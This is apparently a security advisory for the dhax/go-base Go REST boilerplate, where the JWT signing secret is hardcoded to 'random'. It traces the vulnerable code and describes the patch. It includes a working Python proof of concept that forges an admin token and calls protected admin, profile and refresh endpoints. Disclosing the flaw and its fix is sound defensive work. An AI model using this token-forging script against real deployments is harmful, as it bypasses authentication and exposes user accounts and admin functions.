| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/dhax/go-base | < 0.0.0-20260517152733-cc82b9740fa6 | 0.0.0-20260517152733-cc82b9740fa6 |
github.com/dhax/go-base — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)| File | Line | Role |
|---|---|---|
dev.env | 10 | AUTH_JWT_SECRET=random — template default shipped to all users |
cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") — code-level fallback |
auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key |
auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) — creates JWT signer with the weak key |
pwdless/api.go | 203 | GenTokenPair() — issues access + refresh tokens signed with the weak key |
dev.env AUTH_JWT_SECRET=random
OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
│
▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
│
▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
│
▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
│
▼
jwt/authenticator.go: Every authenticated request trusts the forged token
The JWT signing secret is hardcoded to the string "random" in two independent locations:
dev.env:10 — The template .env file sets AUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.
cmd/serve.go:35 — viper.SetDefault("auth_jwt_secret", "random") provides a programmatic fallback. Even if the .env file is missing entirely, the application silently starts with "random" as the signing key.
The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled and replaced it with a randomly-generated 32-byte string. This mitigation had :
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Scan my site free"random""random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.
import jwt
import requests
# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"
# Step 1: Forge an admin JWT token
payload = {
"sub": "[email protected]",
"roles": ["admin"],
"iat": 9999999000,
"exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}
# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}") # 200 OK
# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}") # Returns [email protected] profile
# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret
The fix replaced the single-value check with a comprehensive approach:
// BEFORE (tokenauth.go:22-25) — weak, single-value check
if secret == "random" {
secret = randStringBytes(32) // non-persistent, breaks on restart
}
// AFTER — comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
"random": true,
"secret": true,
"changeme": true,
"change-me": true,
"default": true,
"": true,
}
if knownWeakSecrets[secret] {
log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}
Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.
Reported by @saaa99999999 via manual security audit.